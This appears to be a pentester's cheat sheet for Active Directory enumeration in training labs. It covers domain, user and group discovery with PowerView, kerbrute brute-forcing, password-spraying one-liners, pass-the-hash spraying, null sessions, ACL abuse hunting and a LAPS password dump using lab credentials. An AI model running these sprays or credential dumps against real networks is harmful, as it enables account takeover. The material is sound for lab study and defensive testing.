Skip to content

Post Enumeration

Identifying Domain


Import-Module .\PowerView.ps1
Get-NetDomain
#|->
#Forest                  : INLANEFREIGHT.LOCAL
#DomainControllers       : {DC01.INLANEFREIGHT.LOCAL}
#Children                : {}
#DomainMode              : Unknown
#DomainModeLevel         : 7
#Parent                  :
#PdcRoleOwner            : DC01.INLANEFREIGHT.LOCAL
#RidRoleOwner            : DC01.INLANEFREIGHT.LOCAL
#InfrastructureRoleOwner : DC01.INLANEFREIGHT.LOCAL
#Name                    : INLANEFREIGHT.LOCAL
Import-Module .\PowerView.ps1
Get-NetDomainController
#|->
#Forest                     : INLANEFREIGHT.LOCAL
#CurrentTime                : 5/7/2023 6:53:53 AM
#HighestCommittedUsn        : 94463
#OSVersion                  : Windows Server 2019 Standard
#Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}
#Domain                     : INLANEFREIGHT.LOCAL
#IPAddress                  : 172.16.7.3
#SiteName                   : Default-First-Site-Name
#SyncFromAllServersCallback :
#InboundConnections         : {}
#OutboundConnections        : {}
#Name                       : DC01.INLANEFREIGHT.LOCAL
#Partitions                 : {DC=INLANEFREIGHT,DC=LOCAL, CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL,
#                             CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL, DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL...}

Identifying Hosts


get list of computers

Import-Module .\PowerView.ps1
Get-DomainComputer -Domain INLANEFREIGHT.LOCAL | select name
Get-DomainComputer -Domain INLANEFREIGHT.LOCAL | select dnshostname
get one computer details
Import-Module .\PowerView.ps1
Get-DomainComputer -name DC01 -Domain INLANEFREIGHT.LOCAL
Get-DomainComputer -name SQL01 -Domain INLANEFREIGHT.LOCAL
Get-DomainComputer -name MS01 -Domain INLANEFREIGHT.LOCAL
#|->
#logoncount                    : 60
#badpasswordtime               : 12/31/1600 6:00:00 PM
#distinguishedname             : CN=MS01,CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
#objectclass                   : {top, person, organizationalPerson, user...}
#badpwdcount                   : 0
#lastlogontimestamp            : 5/7/2023 12:41:01 AM
#objectsid                     : S-1-5-21-3327542485-274640656-2609762496-4614
#samaccountname                : MS01$
#localpolicyflags              : 0
#codepage                      : 0
#samaccounttype                : MACHINE_ACCOUNT
#countrycode                   : 0
#cn                            : MS01
#accountexpires                : NEVER
#whenchanged                   : 5/7/2023 5:54:02 AM
#instancetype                  : 4
#usncreated                    : 33945
#objectguid                    : 3e6bc13e-6189-43a9-a717-6e4994fa14fe
#operatingsystem               : Windows Server 2019 Standard
#operatingsystemversion        : 10.0 (17763)
#lastlogoff                    : 12/31/1600 6:00:00 PM
#objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
#dscorepropagationdata         : 1/1/1601 12:00:00 AM
#serviceprincipalname          : {tapinego/MS01, tapinego/MS01.INLANEFREIGHT.LOCAL, TERMSRV/MS01, TERMSRV/MS01.INLANEFREIGHT.LOCAL...}
#lastlogon                     : 5/7/2023 1:58:14 AM
#iscriticalsystemobject        : False
#usnchanged                    : 94279
#useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT
#whencreated                   : 4/1/2022 3:11:43 PM
#primarygroupid                : 515
#pwdlastset                    : 5/7/2023 12:54:02 AM
#msds-supportedencryptiontypes : 28
#name                          : MS01
#dnshostname                   : MS01.INLANEFREIGHT.LOCAL

Identifying Users


πŸš€ From windows (domain joined)

PowerView.ps1

get user names

Import-Module .\PowerView.ps1
Get-NetUser | Select cn, samaccountname, description
get user names - save into file
Import-Module .\PowerView.ps1
Get-NetUser | Select samaccountname > user.txt

Other

enumerate all user from domain

net user /domain
user details
net user michal_admin /domain
get user groups (ps)
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
Get-DomainUser -Identity mssqlsvc |select samaccountname,memberof

πŸš€ From linux

responder

responder -I eth0
responder -I eth0 -rdwv
kerbrute – enumerating users
/opt/windows/kerbrute userenum --help
/opt/windows/kerbrute userenum -d CONTROLLER.local --dc CONTROLLER.local user.txt
/opt/windows/kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 /opt/jsmith.txt
nmap – enumerating users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='CONTROLLER.local',userdb=user.txt" $IP
kerbrute - bruteforce a single user's password from a wordlist
/opt/windows/kerbrute bruteuser --help
/opt/windows/kerbrute bruteuser -v --dc CONTROLLER.local -d CONTROLLER.local /usr/share/wordlists/rockyou.txt admin1
/opt/windows/kerbrute bruteuser -v --dc CONTROLLER.local -d CONTROLLER.local /usr/share/wordlists/rockyou.txt admin1```
**enum4linux**
```shell
enum4linux -U $IP  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient
rpcclient -U "" -N $IP
rpcclient> enumdomusers 
crackmapexec
crackmapexec smb $IP --users
crackmapexec smb $IP -u $USER -p $PASS --users
ldapsearch
ldapsearch -v -x -b "DC=access,DC=offsec" -H "ldap://$IP" "(objectclass=*)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=user)"
get user list with description
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no dn description "(objectclass=user)"
get user list with names and description
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no name sAMAccountName userPrincipalName description "(objectclass=user)"

  • -v: Enables verbose mode, which provides more detailed output about the LDAP communication.
  • -x: Uses simple authentication, which sends the bind DN and password in plaintext. This option is not secure and should only be used in secure environments or for testing purposes.
  • -b "DC=hutch,DC=offsec": Specifies the base DN (distinguished name) for the search. This is the starting point for the search in the directory tree.
  • -H "ldap://$IP": Specifies the LDAP server to connect to. $IP is a variable that contains the IP address of the server.
  • -s sub: Specifies the scope of the search. The sub value indicates that the search should be performed recursively from the base DN.
  • -a search: Specifies the type of search to perform. The search value indicates that the search should retrieve all attributes of matching entries.
  • dn description: Specifies the attributes to retrieve for matching entries. In this case, the dn and description attributes are requested.
  • "(objectclass=user)": Specifies the search filter to use. In this case, the filter selects all entries that have the objectclass attribute set to user.

windapsearch.py

./windapsearch.py --dc-ip $IP -u "" -U

Identifying Groups


enumerate all groups in the domain

Import-Module .\PowerView.ps1
Get-NetGroup
Get-NetGroup | select samaccountname
net group /domain

enumerate all users in group

Import-Module .\PowerView.ps1
Get-NetGroupMember  "Tier 1 Admins"
# |->
# GroupDomain             : INLANEFREIGHT.LOCAL
# GroupName               : Tier 1 Admins
# GroupDistinguishedName  : CN=Tier 1 Admins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberDomain            : INLANEFREIGHT.LOCAL
# MemberName              : NY340
# MemberDistinguishedName : CN=Annie Vazquez,OU=Finance,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberObjectClass       : user
# MemberSID               : S-1-5-21-3327542485-274640656-2609762496-1716

search group parent

Get-DomainGroup -Identity "SQL Admins" | select memberof

Identifying Password


πŸš€ Internal Password Spraying from a Linux Host

Using a Bash one-liner for the Attack

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Using Kerbrute for the Attack
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
Using CrackMapExec & Filtering Logon Failures
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
Local Admin Password Reuse Spraying with CrackMapExec
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

πŸš€ Internal Password Spraying from a Windows Host

wget https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1 -O /opt/windows/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
https://github.com/dafthack/DomainPasswordSpray

Enumeration with valid credential


πŸš€ (from linux)

πŸš€ (from windows)

Enumerating the Password Policy


πŸš€ Enumerating the Password Policy – from Linux – Credentialed

crackmapexec

crackmapexec smb $IP -u <USER> -p <PASS> --pass-pol
With valid domain credentials, the password policy can also be obtained remotely using tools such asΒ CrackMapExecΒ orΒ rpcclient.

πŸš€ Enumerating the Password Policy – from Linux – SMB NULL Sessions

rpcclient

rpcclient -U "" -N $IP
|->
rpcclient $> querydominfo
Without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind. querydominfoΒ - obtain information about the domain and confirm NULL session access. getdompwinfo - obtaining the password policy. enum4linux
enum4linux -P $IP
enum4linux-ng -P $IP -oA ilfreight

πŸš€ Enumerating Null Session – from Windows

Establish a null session from windows

net use \\DC01\ipc$ "" /u:""               ## Establish a null session from windows
net use \\DC01\ipc$ "" /u:guest            ## Error: Account is Disabled
net use \\DC01\ipc$ "password" /u:guest    ## Error: Password is Incorrect
net use \\DC01\ipc$ "password" /u:guest    ## Error: Account is locked out (Password Policy)

πŸš€ Enumerating the Password Policy – from Linux – LDAP Anonymous Bind

LDAP anonymous bindsΒ allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such asΒ windapseach.py,Β ldapsearch,Β ad-ldapdomaindump.py, etc., to pull the password policy. WithΒ ldapsearch, it can be a bit cumbersome but doable. ldapsearch - from linux

 ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
net accounts - from windows
net accounts

Enumerating Security Controls


Checking the Status of Defender with Get-MpComputerStatus

Get-MpComputerStatus
Using Get-AppLockerPolicy cmdlet
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Enumerating Language Mode
$ExecutionContext.SessionState.LanguageMode
Using Find-LAPSDelegatedGroups
Find-LAPSDelegatedGroups
Using Find-AdmPwdExtendedRights
Find-AdmPwdExtendedRights
Using Get-LAPSComputers
Get-LAPSComputers

Enumerating ACL


πŸš€ Enumerating ACLs with PowerView

wley is a user that we obtained.

Let's dig in and see if this user (wley) has any interesting ACL rights that we could take advantage of. We first need to load PowerView.ps1

Import-Module .\PowerView.ps1

Then need to get the SID of our target user to search effectively.

$sid = Convert-NameToSid wley
# $sid = Convert-NameToSid forend

Searching through all Domain Object - option 1

We can then use the Get-DomainObjectACL function to perform our targeted search. In the below example, we are using this function to find all domain objects that our user has rights over by mapping the user's SID using the $sid variable to the SecurityIdentifier property, which is what tells us who has the given right over an object.

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
|->
ObjectDN :     CN=Dana Amundsen,OU=DevOps,...
ObjectAceType: User-Force-Change-Password
ObjectSID:     S-1-5-21-3842939050-3880317879-2865463114-1176

User wley has the right to force change the Dana Amundsen user password

Get Dana Amundsen profile

get-aduser -Filter 'Name -like "Dana Amundsen"'

Searching through all Users Object - option 2

Creating a List of Domain Users

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

Search through users

foreach($line in [System.IO.File]::ReadLines("C:\tools\ad_users.txt")) {get-acl    "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Performing a Reverse Search & Mapping to a GUID Value

$guid="00299570-246d-11d0-a768-00aa006e0529"

Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" | Where-Object {$_.ObjectClass -like 'ControlAccessRight'} | Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

Microsoft LAPS


LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory. Using the credentials we have already found (fmcsorley:CrabSharkJellyfish192), let's attempt to query LDAP for the local administrator password.

ldapsearch -v -x -b "DC=hutch,DC=offsec" -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -H "ldap://$IP" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Enumerating Trust Relationships


from powershell

Using Get-ADTrust

Import-Module activedirectory
Get-ADTrust -Filter *

Checking for Existing Trusts using Get-DomainTrust

Import-Module .\PowerView.ps1
Get-DomainTrust

Using Get-DomainTrustMapping

Import-Module .\PowerView.ps1
Get-DomainTrustMapping

Checking Users in the Child Domain using Get-DomainUser

Import-Module .\PowerView.ps1
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

from cmd

Using netdom to query domain trust

netdom query /domain:inlanefreight.local trust

Using netdom to query domain controllers

netdom query /domain:inlanefreight.local dc

Using netdom to query workstations and servers

netdom query /domain:inlanefreight.local workstation